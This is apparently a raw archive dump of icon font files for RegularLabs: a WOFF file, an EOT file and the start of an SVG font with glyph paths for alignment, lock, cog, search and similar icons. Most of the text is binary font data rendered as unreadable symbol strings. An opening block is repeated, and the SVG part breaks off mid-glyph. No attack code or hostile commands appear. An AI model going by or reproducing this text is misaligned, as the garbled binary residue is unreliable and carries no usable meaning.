@�AUn���������%#5>7>7>7>54&'.'.'.#"#"3!2654&#'.'3#.#""457>7>32#"&'>732672#>7<3.'.'>32#"&'7>7>77.'>737#.'>7'.'.''.'>7#>7>73.'.'>7.'��
&&
� ` ��
�%
S
F
??
/
�
F
??
0
a
&&
&&
a �
�
2
�
9
c
W
9
j
c
@�!1?M#54632354&#"#"3!26=4&#!"&=463!2#";2654&#";2654&��8((8
K55K �� @� � � �
`(88(5KK5`��� � 0 @
�#/CSao#.'>54&#";;26=4&%2#"&546"&=46727#"#+"&=46;2#";2654&'#";2654&�]"8((8%+p���&&%&V &!?
?pp � � @` ` ` `
&
(88(J+p��&&%&�� p$? �0 � p @ @�
8<JXf!"3!2654&#!"&5463!2!2654&+54&+"#"73#"326=4&3"326=4&3"326=4&���
��
��` p ` p �@@0 I I ���
�� ��p 0 0 @
� � � � � � �
��BN%#"&/&4762'#"&'.'.'.5467>7>7>32'4&#"326����K55KK55K$���>5KK55KK
)Wes��32654&+"#";2654&'32654&+"7#"326=46;2+"&=4&#";26=4&#";2654&'#";2654&#";2654&7"+"&=46;2326=4&+";26=4&#
� � �0 0 �� � �� � � ���� � W0 0 I� � I � � �� P 0 � `p p � ��� P � P p � �p `�-;IWes�������%!"&=463!2"3!26=4&##"&546;2'#"&546;23#"&546;23#"&546;2#"&546;23#"&546;23#"&546;27#"&546;23#"&546;2#"&546;23#"&546;2#"&546;2!#"&546;2�`��L � x� � � I I � I I I I W I �� 9 `��
� � � � @ @ @ @ ���
)>Pbs�%+"&546;24&+";26';2654&+"8132654Q#"3&2326?6&'7232676&'&%2326?6&'&&232676&'1
R
S
� �
�
Z �
�
�S
R
R
I
I
I
I
�
�
"
�
H
H R
�� �
H
H U
��
w��=_<��2���2����"@
@#@@ @
��T�@N�B��� :
�~���
4
�
��.���P"E��B�!c
� � M � , n
4�RegularLabsRegularLabsVersion 1.0Version
1.0RegularLabsRegularLabsRegularLabsRegularLabsRegularRegularRegularLabsRegularLabsFont
generated by IcoMoon.Font generated by
IcoMoon.fonts/RegularLabs.woff000064400000026640151165506420011000
0ustar00wOFF-�-TOS/2``A��cmaphll�j�gasp�glyf�(�(����head*|66���hhea*�$$#hmtx*���?�loca+`FF�T��maxp+�
2Gname+���]l��post-� ��LfGLf��@�
P ��������
����������
!��797979@�
Iw�%#";2654&7#";2654&.'.'.#";26=>7>54&'#54&'.'.5467>7>7>32'"3265467>32654&#
` ` z
&&
" � "
)
� �
#
0 ;
&4!* *!4&�
##
++�
#
���)FW6D%#";26=4#553+"&546;2>=4&'.+";267'546;2+"&5010"1#"&'&4?#"&581546323'&4762021881021810181028181810181208181018181018381018101818101810181810181881810181881"010181810181810#818818181"1818810"189+"&546;2� � ������ @ @ 0
t
t
�
t
t
� Y I
\ @ @ � � � @ ` � �
t
t
&t
t
� ` P
��M'.#!"3!2654&'>7#!"&5463!'.#">?>7>71�
��`
< �� Q&%?
5%1���`:�� ` $(W/!!'-\05���
)HXn�46;2+"&32654&+"732654&+"+#!"&=#"&5463!232!2654&#!"#"&'#"&54635#3!2654&+32+32#81#32+3!265P � � � � � � �0�p�0 � W� @ ` p@ @@ @C � O I � �p0� � �
p @ @
0 �}+7DP&'.'&#"327>76?.'>7"&546327>54&''"32654&�B,-22-,B
B,-22-,B
��&99&
q'77''77@
&99&g
****G**$$&7''77''7$$**f
����"4F%#"&'&4?'.'&67%61%326764/&"'&"326764'����ep�e��pp�pp��� �� �pp��pp_�Z�.'.'.'.#".#"3267>73267>73267>7>54&'#"&'0410"1818#81&#"&'814&54&#"#"&5467812632654&'>3228181818120181678181>32813265<5�-
#
6
,
!$ &
*- &2C
)� &# .0?R#54&+";;26=326=4Ȣ2+"&5+"&=3;7+"&=326=32�j
�
� * �V
�
�
`
�
@ �`
�
j j
�* � j
� ��
�
�
j* 6
*
�
����
)CSe46;2+"&4&+";26'32654&+"#!"&=#"&5463!232!2654&#!"%4&++3!265P � � � � � �� � ���Pp�0 � � p�
O 9 w 0��pP� � � �p ���2Wx�4&'.'.'.#"13267>7>7>5>7>32#"&'.'.5467#"&'.'.53267>7'#"&'.'.'.5467>7>7>32#"3267'.?"#"&/7#"&54632654&#">'&676>7>7>7>32
#Z11Z#
#Z11Z#
�+!V//V!!V//V!�!V//V!
#Z11Z#
�
$22$0`
$22$0
�
��
k
��
6
��b
2$$2(88R
2$$2(88
@�
#!"3!2654&7'!326?!%7�`��<�������55��n
����
7��`ɷ44������5J_t4&#!"3!265##!"&=463!2%467>32#"#"&5#"&'.5463232%#"&546326546324632#"&54&#"&���
�� �`
L
�
L
o� � 4
��
%
n
���5<GRdw.+54&'.+";;267>=3267>=4&'12#5%32!54635!+"&5+"&=3;7#"&=3267>=3#�
j
�
�
*
&
����
��
�
`
�
@
�J�
j
�
�*
�
j
�
`
����
�
j*
*
j�
O�F�%#"&'.'.'.5467>7>7>32#"3267'.?#"&/17.'.'.#"'.76&'&>32#"3267>7>7>54&'1R
""
" <TT<6P..�
""
..P6<TT< "
�
""
T<<TE3]]
�
]]3ET<<T
""���)3D]y.'54&'.#!"3!267>54&%463!2!#!"&5463!2%'&4762546327627#"&/#"&="'&4?�
��
�
�H
T
���
�l
�
��;; � ;;�//
��4
B
*��
4
�̕<<Y Y
Y Y<<@��t��%.'.'.#"'76&'&'..'.#"3267>7>7>54&'.'73267>7>7>54&'"&546323"&54632�
3�
��
�3
..
����
J�
��
�J
CC
OO��'#"&/7627&"326?'۔���`����������������DQ^hy���.'54&'.'.'.+"0&#.+"0&#.+"3!267>54&''#54&'04132#54&'04132'32#546#!"&5463!2'#!"&5463!2#!"&5463!25#!"&5463!2� RRR
�
0`M
�`M
�R
�
�
�l
� 0 �� @ �� @ �� @ �/
/��
4
:**
**
**
�V
4
�� � Y
�+E.'.#!";2326?3267>=4&'+"54&+"&=463!2� �m
*\�
�E :
� ��
P[
�
�
D9
�
�#
��"&".#"132670632654&'64��� !/7
!/���/!
7/! 1M"32654&"&54632>54&#"32673335'#'5#'5#'#"&54632p �^BB^^B,)IW̬)7))3
5KK55K��@ ]B^^BB^,)IW��7))3K55KK5
�)
.<JY!"3!2654&#!"&5463!2'!"3!2654&'!"3!2654&!"3!2654&'!"3!2654&#�`� �` � @�� @ �� @ �� @ �� @ �`��0 � �`P � ` �
@�AUn���������%#5>7>7>7>54&'.'.'.#"#"3!2654&#'.'3#.#""457>7>32#"&'>732672#>7<3.'.'>32#"&'7>7>77.'>737#.'>7'.'.''.'>7#>7>73.'.'>7.'��
&&
� ` ��
�%
S
F
??
/
�
F
??
0
a
&&
&&
a �
�
2
�
9
c
W
9
j
c
@�!1?M#54632354&#"#"3!26=4&#!"&=463!2#";2654&#";2654&��8((8
K55K �� @� � � �
`(88(5KK5`��� � 0 @
�#/CSao#.'>54&#";;26=4&%2#"&546"&=46727#"#+"&=46;2#";2654&'#";2654&�]"8((8%+p���&&%&V &!?
?pp � � @` ` ` `
&
(88(J+p��&&%&�� p$? �0 � p @ @�
8<JXf!"3!2654&#!"&5463!2!2654&+54&+"#"73#"326=4&3"326=4&3"326=4&���
��
��` p ` p �@@0 I I ���
�� ��p 0 0 @
� � � � � � �
��BN%#"&/&4762'#"&'.'.'.5467>7>7>32'4&#"326����K55KK55K$���>5KK55KK
)Wes��32654&+"#";2654&'32654&+"7#"326=46;2+"&=4&#";26=4&#";2654&'#";2654&#";2654&7"+"&=46;2326=4&+";26=4&#
� � �0 0 �� � �� � � ���� � W0 0 I� � I � � �� P 0 � `p p � ��� P � P p � �p `�-;IWes�������%!"&=463!2"3!26=4&##"&546;2'#"&546;23#"&546;23#"&546;2#"&546;23#"&546;23#"&546;27#"&546;23#"&546;2#"&546;23#"&546;2#"&546;2!#"&546;2�`��L � x� � � I I � I I I I W I �� 9 `��
� � � � @ @ @ @ ���
)>Pbs�%+"&546;24&+";26';2654&+"8132654Q#"3&2326?6&'7232676&'&%2326?6&'&&232676&'1
R
S
� �
�
Z �
�
�S
R
R
I
I
I
I
�
�
"
�
H
H R
�� �
H
H U
��
w��=_<��2���2����"@
@#@@ @
��T�@N�B��� :
�~���
4
�
��.���P"E��B�!c
� � M � , n
4�RegularLabsRegularLabsVersion 1.0Version
1.0RegularLabsRegularLabsRegularLabsRegularLabsRegularRegularRegularLabsRegularLabsFont
generated by IcoMoon.Font generated by
IcoMoon.fonts/RegularLabsIcons.eot000064400000016510151165506420011615
0ustar00H��LP=B� RegularLabsIconsRegularVersion 1.0
RegularLabsIcons�0OS/2A�"�`cmap��dgasp�glyft���thead�4S�6hhea)4$hmtxKMX�locaY
R��Rmaxp/L name���l�post`
��LfGLf��@�3 H
��"�3���� ��!�0������
���797979@�!!!!!!!!!!!!�`���`���`���
@�!!!!!!!!'!!!!�`@��@��@��`���
` ` � `
@�!!!!!!!!!!!!��`�����`�����`���
@�!!!!!!!!!!!!������` `
` ` ` `
}
%>.'76}VT��dr#''ZN2��|Mw���55&.>
��TV5'#rd�|��2NZ'9�wM)#7.#"3267>7#".54>327�HG&&GG&&G1$c:5]F((F]55]#K@HG&&G+(/(F]55]F((#K@�(2#54&+"#"3!26=4.546327#546;2(8(@(8
r@
.�
@
`(88(`
�
�
�F
�`
��#2#"#"3!26=4&+546;2354.54632�@(8�
@
@8�@
�8(`
�
�
`
``(8�`F
0<%5'.'7'./#'737>77'>?"&54632I+D<
`
<D+IJ+D=
`
=D+J�%%%%�`
<D+II+D<
`
=D+JJ+D=
%%%% 333������ !!�����%###����5!5!5�����!"3!2654&!!�@
�
�@�
�@
�
�
�!"3!2654&!!�@
�
�@�
�@
�
��`'IW%2>54.#"2#".54>2+"&5#+"&=46;235463267#"&'75]F((F]55]F((F]5+L8!!8L++L8!!8L�
@
@
@
` @ 0#:H,"(F]55]F((F]55]F(�!8L++L8!!8L++L8!P 0
0 �"#+'3?M%2>54.#"2#".54>4632#"&74632#"&#"&'73265]F((F]55]F((F]5+L8!!8L++L8!!8LU
�
)H,,H)22(F]55]F((F]55]F(�!8L++L8!!8L++L8!p
�#++#'3?K%2>54.#"2#".54>4632#"&732654&#"32654&#"5]F((F]55]F((F]5+L8!!8L++L8!!8L%%%%�
�
(F]55]F((F]55]F(�!8L++L8!!8L++L8!��%%%%�
�
-5%!57��@������Q��J���!"32>54.3##535#5335]F((F]55]F((F]U@@`�
` (F]55]F((F]55]F(`@� �
��%5%.#"3!267>'+"&=46;25+"&=46;2��� � �
]���""
` � "32>54.!5!5]F((F]55]F((F]K�(F]55]F((F]55]F(��@##��#H'&"7./&4?62764.'"/&4?.72?64/�$d#n##(m61M#�(m61M##$d#n##�##m$d$(6m62"M#dy(6m62"M#d$##m$d$`�8D"32>7.#"&'.'>7>732654&'#"&54632*MB55BM**MB55BMT&&@""@&&K55K~�*;$$;**;$$;*U&&&&
5KK5
�(%'.>54&#"326776&%"&54632�y
pPPppP$? g
&
��5KK55KKLg ?$PppPPp
y
&�K55KK55K
�b��%#"&'.'73267>54&'.'.'.'.'.'.'.5467>32.'.#"'>5467>32654&#"#"3232654&#"&'.54&'.'>7"&'.54&'.'.#"32#"3267>7>5467>32654&#=
� � �
!
7&/
5
6
0&
5
/&&0
6
�b��%#"&'.'73267>54&'.'.'.'.'.'.'.5467>32.'.#"'>5467>32654&#"#"3232654&#"&'.54&'.'>7"&'.54&'.'.#"32#"3267>7>5467>32654&#'6#"&'&67=
� �
� �
!
7&/
5
6
0&
5
/&&0
6
�
�a
�'9#"&/7>7.326?''&:32676&'�yy��
�
yy��J` `���
����
��(�a�
�#5HZ#"&546;#"&5463;#";#"'&:32676&'2654&+32654&+332654&+32654&+0 p 00 ,` `�� 00 ` 00 �A �� � �a�
�A �A
�$0<5!#3267#"!4&+5>7326=#"&=3"%#*'>=3���`8(3
%%
3(8`��":w":�@@@(8#c%%c#8(@z"
:"
�$0;G5!#3267#"!4&+5>7326=#"&=3"7'7'3737#*'>=3���`8(3
%%
3(8`��":�OOObbO�":�@@@(8#c%%c#8(@z"
]::]:]]:"
0�A>7.#".'"&'0#"&'3#*'32>5<5>7"(+>Ap'
0$
6#C%
#R,HpL'�
=,;0.&9
)6Vk4a�+3#"&546327.#"32654&'#%#5##3353�\*0*;;*
,7!D__DFV�]00000084<++< *_DD_YF
00000��35#"#3337#5460PP.B@@`P` �`B.0`�`0 7So627'..#"7'&47%4&#"&7627>'>56&/"/732654&''"'&4?'32676?'�#39&( r3rz('<r2r
"
2":r2r
"
2=&("�r#3(%:r3v2!(%=r2r#
E("r2r
#2=&��:r3r#
3 (&pr
#3;%(r3��B=_<��o���o��(
�#�
Jv���
J��8J\n���@�2d��L��J� � �
T
�
��(��Q�0�
� � a � ; �
4RegularLabsIconsRegularLabsIconsVersion 1.0Version
1.0RegularLabsIconsRegularLabsIconsRegularLabsIconsRegularLabsIconsRegularRegularRegularLabsIconsRegularLabsIconsFont
generated by IcoMoon.Font generated by
IcoMoon.fonts/RegularLabsIcons.svg000064400000052674151165506420011640
0ustar00<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="RegularLabsIcons" horiz-adv-x="512">
<font-face units-per-em="512" ascent="512"
descent="0" />
<missing-glyph horiz-adv-x="512" />
<glyph unicode=" " horiz-adv-x="256"
d="" />
<glyph unicode=""
glyph-name="paragraph-left" d="M0 416h512v-32h-512zM0
352h352v-32h-352zM0 288h512v-32h-512zM0 224h352v-32h-352zM0
160h512v-32h-512zM0 96h352v-32h-352z" />
<glyph unicode=""
glyph-name="paragraph-center" d="M0 416h512v-32h-512zM96
352h320v-32h-320zM96 224h320v-32h-320zM96 96h320v-32h-320zM0
288h512v-32h-512zM0 160h512v-32h-512z" />
<glyph unicode=""
glyph-name="paragraph-right" d="M0 416h512v-32h-512zM160
352h352v-32h-352zM0 288h512v-32h-512zM160 224h352v-32h-352zM0
160h512v-32h-512zM160 96h352v-32h-352z" />
<glyph unicode=""
glyph-name="paragraph-justify" d="M0 352h512v-32h-512zM0
224h512v-32h-512zM0 96h512v-32h-512zM0 416h512v-32h-512zM0
288h512v-32h-512zM0 160h512v-32h-512z" />
<glyph unicode="" glyph-name="undo"
d="M380.931 0c56.863 103.016 66.444 260.153-156.931
254.912v-126.912l-192 192 192 192v-124.186c267.481 6.971 297.285-236.107
156.931-387.814z" />
<glyph unicode="" glyph-name="redo"
d="M288 387.814v124.186l192-192-192-192v126.912c-223.375
5.241-213.794-151.896-156.93-254.912-140.356 151.707-110.55 394.785 156.93
387.814z" />
<glyph unicode="" glyph-name="spinner"
d="M512 320h-192l71.765 71.765c-36.265 36.263-84.48 56.235-135.765
56.235s-99.5-19.972-135.765-56.235c-36.263-36.265-56.235-84.48-56.235-135.765s19.972-99.5
56.235-135.765c36.265-36.263 84.48-56.235 135.765-56.235s99.5 19.972
135.764 56.236c3.028 3.027 5.93 6.146 8.728
9.334l48.16-42.141c-46.923-53.583-115.832-87.429-192.652-87.429-141.385
0-256 114.615-256 256s114.615 256 256 256c70.693 0 134.684-28.663
181.008-74.992l74.992 74.992v-192z" />
<glyph unicode="" glyph-name="lock"
d="M296 288h-8v96c0 52.935-43.065 96-96 96h-64c-52.935
0-96-43.065-96-96v-96h-8c-13.2 0-24-10.8-24-24v-240c0-13.2 10.8-24
24-24h272c13.2 0 24 10.8 24 24v240c0 13.2-10.8 24-24 24zM192 64h-64l13.92
69.6c-8.404 5.766-13.92 15.437-13.92 26.4 0 17.673 14.327 32 32
32s32-14.327 32-32c0-10.963-5.516-20.634-13.92-26.4l13.92-69.6zM224
288h-128v96c0 17.645 14.355 32 32 32h64c17.645 0 32-14.355 32-32v-96z"
/>
<glyph unicode="" glyph-name="unlocked"
d="M384 480h-64c-52.935 0-96-43.065-96-96v-96h-200c-13.2
0-24-10.8-24-24v-240c0-13.2 10.8-24 24-24h272c13.2 0 24 10.8 24 24v240c0
13.2-10.8 24-24 24h-8v96c0 17.645 14.355 32 32 32h64c17.645 0 32-14.355
32-32v-96h64v96c0 52.935-43.065 96-96 96zM192 64h-64l13.92 69.6c-8.404
5.766-13.92 15.437-13.92 26.4 0 17.673 14.327 32 32 32s32-14.327
32-32c0-10.963-5.516-20.634-13.92-26.4l13.92-69.6z" />
<glyph unicode="" glyph-name="cog"
d="M512 207.953v96.094l-73.387 12.231c-2.979 9.066-6.611 17.834-10.847
26.25l43.227 60.517-67.948 67.949-60.413-43.152c-8.455 4.277-17.269
7.944-26.384 10.951l-12.201
73.207h-96.094l-12.201-73.208c-9.115-3.007-17.929-6.674-26.383-10.951l-60.414
43.152-67.949-67.949
43.227-60.518c-4.235-8.415-7.867-17.183-10.846-26.249l-73.387-12.23v-96.094l73.559-12.26c2.98-8.984
6.605-17.674 10.821-26.015l-43.374-60.724 67.949-67.948 60.827
43.447c8.301-4.175 16.945-7.764 25.882-10.717l12.289-73.736h96.094l12.289
73.737c8.937 2.953 17.581 6.542 25.883 10.716l60.826-43.446 67.948
67.948-43.372 60.723c4.216 8.341 7.839 17.031 10.82 26.016l73.559
12.259zM256 192c-35.346 0-64 28.653-64 64s28.654 64 64 64c35.347 0
64-28.654 64-64s-28.653-64-64-64z" />
<glyph unicode="" glyph-name="arrow-up"
d="M256.001 512l-256.001-256h160v-255.999l192-0.001v256h160z"
/>
<glyph unicode=""
glyph-name="arrow-right" d="M512 256l-256
256v-160h-255.999l-0.001-192h256v-160z" />
<glyph unicode=""
glyph-name="arrow-down" d="M256 0l256 256h-160v255.999l-192
0.001v-256h-160z" />
<glyph unicode=""
glyph-name="arrow-left" d="M0 256l256-256v160h255.999l0.001
192h-256v160z" />
<glyph unicode="" glyph-name="top"
d="M480 512h-448c-17.6 0-32-14.399-32-32v-448c0-17.601 14.398-32
32-32h448c17.6 0 32 14.399 32 32v448c0 17.601-14.4 32-32 32zM480
32h-448v384h448v-384z" />
<glyph unicode="" glyph-name="bottom"
d="M480 512h-448c-17.6 0-32-14.399-32-32v-448c0-17.601 14.398-32
32-32h448c17.6 0 32 14.399 32 32v448c0 17.601-14.4 32-32 32zM480
128h-448v352h448v-352z" />
<glyph unicode="" glyph-name="simple"
d="M256 0c141.385 0 256 114.615 256 256s-114.615 256-256
256-256-114.615-256-256 114.615-256 256-256zM256 464c114.875 0 208-93.125
208-208s-93.125-208-208-208-208 93.125-208 208 93.125 208 208 208zM400
384c8.8 0 16-7.2 16-16v-48c0-17.6-14.4-32-32-32h-64c-17.6 0-32 14.4-32
32h-64c0-17.6-14.4-32-32-32h-64c-17.6 0-32 14.4-32 32v48c0 8.8 7.2 16 16
16h96c8.8 0 16-7.2 16-16v-16h64v16c0 8.8 7.2 16 16 16h96zM256 128c46.604 0
87.386 24.909 109.773
62.139l27.44-16.467c-27.983-46.535-78.958-77.672-137.213-77.672-24.229
0-47.192 5.398-67.77 15.041l16.581 27.639c15.677-6.857 32.982-10.68
51.189-10.68z" />
<glyph unicode="" glyph-name="normal"
d="M256 0c141.385 0 256 114.615 256 256s-114.615 256-256
256-256-114.615-256-256 114.615-256 256-256zM256 464c114.875 0 208-93.125
208-208s-93.125-208-208-208-208 93.125-208 208 93.125 208 208 208zM128
352c0 17.673 14.327 32 32 32s32-14.327 32-32c0-17.673-14.327-32-32-32s-32
14.327-32 32zM320 352c0 17.673 14.327 32 32 32s32-14.327
32-32c0-17.673-14.327-32-32-32s-32 14.327-32 32zM352.049
198.37l41.164-24.698c-27.981-46.535-78.958-77.672-137.213-77.672s-109.232
31.137-137.213 77.672l41.164 24.698c19.587-32.574 55.271-54.37
96.049-54.37s76.462 21.796 96.049 54.37z" />
<glyph unicode="" glyph-name="advanced"
d="M256 0c141.385 0 256 114.615 256 256s-114.615 256-256
256-256-114.615-256-256 114.615-256 256-256zM256 464c114.875 0 208-93.125
208-208s-93.125-208-208-208-208 93.125-208 208 93.125 208 208 208zM192
160c0 35.346 28.654 64 64 64s64-28.654 64-64c0-35.346-28.654-64-64-64s-64
28.654-64 64zM320 336c0-26.51 14.327-48 32-48s32 21.49 32 48c0 26.51-14.327
48-32 48s-32-21.49-32-48zM128 336c0-26.51 14.327-48 32-48s32 21.49 32 48c0
26.51-14.327 48-32 48s-32-21.49-32-48z" />
<glyph unicode="" glyph-name="home"
d="M512 216.777l-256 198.714-256-198.714v81.019l256 198.713
256-198.714zM448 224v-192h-384v192l192 144z" />
<glyph unicode="" glyph-name="info"
d="M256 512c-141.385 0-256-114.615-256-256s114.615-256 256-256 256
114.615 256 256-114.615 256-256 256zM224 416h64v-64h-64v64zM320
96h-128v32h32v128h-32v32h96v-160h32v-32z" />
<glyph unicode="" glyph-name="warning"
d="M505.216 92.624l-191.984 384c-10.832 21.68-32.976 35.376-57.232
35.376s-46.4-13.696-57.232-35.376l-191.984-384c-9.92-19.84-8.864-43.408
2.8-62.288 11.664-18.848 32.256-30.336 54.432-30.336h383.952c22.192 0
42.784 11.488 54.432 30.336 11.664 18.88 12.72 42.448 2.816 62.288zM287.968
80c0-8.848-7.152-16-16-16h-32c-8.848 0-16 7.152-16 16v32c0 8.848 7.152 16
16 16h32c8.848 0 16-7.152 16-16v-32zM287.968
208c0-8.848-7.152-16-16-16h-32c-8.848 0-16 7.152-16 16v160c0 8.832 7.152 16
16 16h32c8.848 0 16-7.168 16-16v-160z" />
<glyph unicode="" glyph-name="not-ok"
d="M256 512c-141.376 0-256-114.624-256-256s114.624-256 256-256 256
114.624 256 256-114.624 256-256 256zM384 224h-256v64h256v-64z" />
<glyph unicode="" glyph-name="link"
d="M476.698 474.679l-2.014 2.021c-47.074 47.067-124.097 47.067-171.163
0l-109.053-109.068c-47.067-47.066-47.067-124.088
0-171.155l2.013-2.013c3.916-3.924 8.073-7.462 12.368-10.729l39.924
39.925c-4.651 2.747-9.063 6.036-13.058 10.030l-2.021 2.021c-25.557
25.549-25.557 67.136 0 92.695l109.064 109.056c25.558 25.559 67.137 25.559
92.693 0l2.021-2.012c25.55-25.558 25.55-67.146
0-92.695l-49.343-49.343c8.566-21.154 12.624-43.7 12.269-66.193l76.302
76.302c47.067 47.068 47.067 124.089-0.002 171.158zM315.521 317.533c-3.916
3.916-8.073 7.461-12.368 10.72l-39.924-39.916c4.652-2.748 9.063-6.037
13.058-10.031l2.021-2.020c25.558-25.558 25.558-67.136
0-92.694l-109.065-109.067c-25.559-25.551-67.138-25.551-92.694 0l-2.021
2.021c-25.549 25.56-25.549 67.138 0 92.694l49.344 49.343c-8.567
21.153-12.623 43.701-12.269
66.193l-76.301-76.299c-47.068-47.066-47.068-124.089
0-171.162l2.013-2.016c47.076-47.064 124.096-47.064 171.164 0l109.055
109.059c47.067 47.066 47.067 124.097 0 171.163l-2.013 2.012z" />
<glyph unicode="" glyph-name="eye"
d="M256 416c-111.659 0-208.441-65.021-256-160 47.559-94.979
144.341-160 256-160 111.657 0 208.439 65.021 256 160-47.558 94.979-144.343
160-256 160zM382.225 331.148c30.081-19.187 55.571-44.887
74.717-75.148-19.146-30.261-44.637-55.961-74.718-75.149-37.797-24.108-81.445-36.851-126.224-36.851-44.78
0-88.428 12.743-126.225 36.852-30.080 19.186-55.57 44.886-74.717 75.148
19.146 30.262 44.637 55.962 74.717 75.148 1.959 1.25 3.938 2.461 5.929
3.65-4.979-13.664-7.704-28.411-7.704-43.798 0-70.692 57.308-128 128-128s128
57.308 128 128c0 15.387-2.725 30.134-7.704 43.799 1.99-1.189 3.969-2.401
5.929-3.651zM256 307c0-26.51-21.49-48-48-48s-48 21.49-48 48 21.49 48 48 48
48-21.49 48-48z" />
<glyph unicode="" glyph-name="search"
d="M496.131 76.302l-121.276 103.147c-12.537 11.283-25.945
16.463-36.776 15.963 28.628 33.534 45.921 77.039 45.921 124.588 0
106.039-85.961 192-192 192s-192-85.961-192-192c0-106.039 85.961-192 192-192
47.549 0 91.054 17.293 124.588 45.922-0.5-10.831 4.68-24.239
15.963-36.776l103.147-121.276c17.661-19.623 46.511-21.277
64.11-3.678s15.946 46.449-3.677 64.11zM192 192c-70.692 0-128 57.308-128
128s57.308 128 128 128 128-57.308 128-128-57.307-128-128-128z" />
<glyph unicode=""
glyph-name="src_sourcetags" d="M316.631 225.336c2.789-7.281
4.182-16.029 4.182-26.25
0-21.372-6.272-38.563-18.816-51.572s-30.897-19.515-55.056-19.515c-12.391
0-23.542 1.707-33.452 5.112-9.917 3.403-17.35 6.504-22.301 9.291l8.362
32.987c4.646-2.483 10.918-5.271 18.817-8.362 7.897-3.1 16.646-4.647
26.25-4.647 11.769 0 20.675 3.326 26.715 9.99 6.040 6.657 9.060 15.405
9.060 26.251 0 6.809-1.241 12.615-3.718 17.423-2.482 4.798-5.733
9.059-9.756 12.775-4.028 3.718-8.676 7.042-13.938 9.989-5.271 2.94-10.534
6.112-15.797 9.524-5.271 3.093-10.381 6.737-15.332 10.919-4.958 4.181-9.372
8.98-13.241 14.403-3.877 5.415-6.969 11.615-9.292 18.583-2.323 6.97-3.484
15.1-3.484 24.392 0 20.131 6.272 36.392 18.816 48.784 12.544 12.387 29.503
18.587 50.875 18.587 8.98 0 17.495-1.161 25.554-3.484 8.051-2.323
14.707-4.878 19.979-7.666l-8.828-32.058c-5.575 3.092-11.151 5.415-16.727
6.969-5.575 1.546-11.615 2.323-18.12 2.323-9.915
0-17.813-2.868-23.694-8.595-5.887-5.735-8.828-14.019-8.828-24.857 0-6.199
1.082-11.543 3.252-16.029 2.163-4.494 5.031-8.522 8.596-12.080 3.557-3.564
7.586-6.896 12.079-9.989 4.485-3.1 9.213-6.040 14.171-8.828 5.88-3.411
11.687-7.128 17.422-11.15 5.729-4.030 10.838-8.756 15.332-14.171
4.486-5.424 8.13-11.776 10.918-19.049zM86.622 279.502c9.379 21.103 9.379
47.23 9.379 72.498 0 21.929 0 59.722 6.621 74.62 4.505 10.136 12.944 20.498
41.379 20.498 8.836 0 16 7.163 16 16s-7.163 16-16 16c-18.292
0-33.032-3.411-45.063-10.43-11.321-6.604-19.92-16.385-25.558-29.073-9.379-21.103-9.379-62.348-9.379-87.616
0-21.928
0-44.604-6.621-59.502-4.505-10.135-12.945-20.497-41.379-20.497-8.837
0-16-7.163-16-16s7.163-15.999 16-15.999c28.435 0 36.874-10.363 41.379-20.5
6.621-14.896 6.621-37.572 6.621-59.501 0-25.268 0-67.392 9.379-88.495
5.638-12.688 14.238-22.468 25.559-29.072 12.031-7.019 26.771-10.43
45.063-10.43 8.836 0 16 7.163 16 16.001 0 8.835-7.163 15.999-16
15.999-28.435 0-36.875 10.362-41.379 20.499-6.621 14.896-6.621 53.568-6.621
75.498 0 25.268 0 51.396-9.379 72.497-4.225 9.504-10.108 17.373-17.552
23.503 7.444 6.128 13.327 14 17.551 23.502zM495.999 272c-28.435 0-36.874
10.362-41.379 20.498-6.621 14.898-6.621 37.574-6.621 59.502 0 25.268 0
66.513-9.378 87.616-5.639 12.688-14.238 22.468-25.56 29.072-12.031
7.019-26.771 10.43-45.062 10.43-8.837 0-16.001-7.163-16.001-16s7.164-16
16.001-16c28.435 0 36.873-10.362 41.379-20.498 6.622-14.898 6.622-52.691
6.622-74.62 0-25.268 0-51.395 9.379-72.498 4.223-9.502 10.105-17.374
17.55-23.501-7.444-6.13-13.327-14-17.55-23.503-9.379-21.102-9.379-47.23-9.379-72.498
0-21.93
0-60.602-6.621-75.498-4.506-10.137-12.944-20.499-41.379-20.499-8.837
0-16.001-7.164-16.001-15.999 0-8.838 7.164-16.001 16.001-16.001 18.291 0
33.030 3.411 45.062 10.43 11.321 6.604 19.921 16.385 25.56 29.072 9.378
21.104 9.378 63.228 9.378 88.495 0 21.929 0 44.604 6.621 59.501 4.505
10.137 12.944 20.5 41.379 20.5 8.837 0 16.001 7.162 16.001 15.999s-7.165
16-16.002 16z" />
<glyph unicode=""
glyph-name="src_nosourcetags" d="M316.631
225.336c2.789-7.281 4.182-16.029 4.182-26.25
0-21.372-6.272-38.563-18.816-51.572s-30.897-19.515-55.056-19.515c-12.391
0-23.542 1.707-33.452 5.112-9.917 3.403-17.35 6.504-22.301 9.291l8.362
32.987c4.646-2.483 10.918-5.271 18.817-8.362 7.897-3.1 16.646-4.647
26.25-4.647 11.769 0 20.675 3.326 26.715 9.99 6.040 6.657 9.060 15.405
9.060 26.251 0 6.809-1.241 12.615-3.718 17.423-2.482 4.798-5.733
9.059-9.756 12.775-4.028 3.718-8.676 7.042-13.938 9.989-5.271 2.94-10.534
6.112-15.797 9.524-5.271 3.093-10.381 6.737-15.332 10.919-4.958 4.181-9.372
8.98-13.241 14.403-3.877 5.415-6.969 11.615-9.292 18.583-2.323 6.97-3.484
15.1-3.484 24.392 0 20.131 6.272 36.392 18.816 48.784 12.544 12.387 29.503
18.587 50.875 18.587 8.98 0 17.495-1.161 25.554-3.484 8.051-2.323
14.707-4.878 19.979-7.666l-8.828-32.058c-5.575 3.092-11.151 5.415-16.727
6.969-5.575 1.546-11.615 2.323-18.12 2.323-9.915
0-17.813-2.868-23.694-8.595-5.887-5.735-8.828-14.019-8.828-24.857 0-6.199
1.082-11.543 3.252-16.029 2.163-4.494 5.031-8.522 8.596-12.080 3.557-3.564
7.586-6.896 12.079-9.989 4.485-3.1 9.213-6.040 14.171-8.828 5.88-3.411
11.687-7.128 17.422-11.15 5.729-4.030 10.838-8.756 15.332-14.171
4.486-5.424 8.13-11.776 10.918-19.049zM86.622 279.502c9.379 21.103 9.379
47.23 9.379 72.498 0 21.929 0 59.722 6.621 74.62 4.505 10.136 12.944 20.498
41.379 20.498 8.836 0 16 7.163 16 16s-7.163 16-16 16c-18.292
